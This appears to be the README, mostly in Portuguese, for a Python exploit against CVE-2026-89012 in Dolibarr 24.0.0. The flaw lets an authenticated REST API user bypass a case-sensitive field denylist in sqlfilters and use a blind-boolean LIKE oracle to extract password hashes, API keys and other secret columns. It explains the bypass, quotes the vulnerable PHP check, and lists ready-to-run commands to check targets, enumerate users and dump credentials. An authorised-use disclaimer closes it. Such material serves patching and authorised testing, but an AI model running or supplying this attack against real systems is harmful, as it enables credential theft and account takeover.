
Exploit em Python para CVE-2026-89012, um bypass da denylist de filtros SQL do Dolibarr que usa um oráculo blind-boolean para extrair hashes de senha e chaves de API através da REST API.
Exploit para CVE-2026-89012: a denylist de campos proibidos em
forgeSQLFromUniversalSearchCriteria() (introduzida com a correção do CVE-2026-71510)
usa um in_array() sensível a maiúsculas/minúsculas enquanto o conjunto de caracteres do operando permite A-Z.
Como a resolução de colunas SQL não diferencia maiúsculas de minúsculas, um usuário autenticado da API pode
consultar t.PASS_CRYPTED em vez de t.pass_crypted e contornar a denylist.
Predicados LIKE com prefixo transformam sqlfilters em um oráculo booleano cego que
recupera hashes de senha caractere por caractere.
Registro: https://www.cve.org/CVERecord?id=CVE-2026-89012
| Afetado | Dolibarr 24.0.0 |
| Corrigido | 24.0.1 |
| Pré-requisitos | token de API válido com users->lire |
| Impacto | divulgação de pass_crypted, api_key, pass, pass_temp, openid |
// htdocs/core/lib/functions.lib.php, 24.0.0 line 16306
$operandwithoutprefix = preg_replace('/^[a-z0-9_]+\./i', '', $operand);
if (in_array($operandwithoutprefix, $newforbiddenfields)) { // case-sensitive
return '1=1';
}
# detection (safe, 3 requests)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY check
# list readable users
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY users
# extract pass_crypted for every user (threaded oracle)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump
# single target / other protected column
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --login admin
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --column API_KEY --charset hex
Somente biblioteca padrão (Python 3.8+). Suporta --proxy, --insecure, --timeout.
Nota: sob uma collation que não diferencia maiúsculas de minúsculas (o padrão), o valor bcrypt é
recuperado exatamente até a diferença de maiúsculas/minúsculas dos caracteres; colunas de texto simples (llx_adherent.pass
via /api/index.php/members, pass_temp) são recuperadas byte a byte.

Apenas para testes e pesquisas autorizados. Use somente contra sistemas que você possui ou para os quais tem permissão explícita de teste.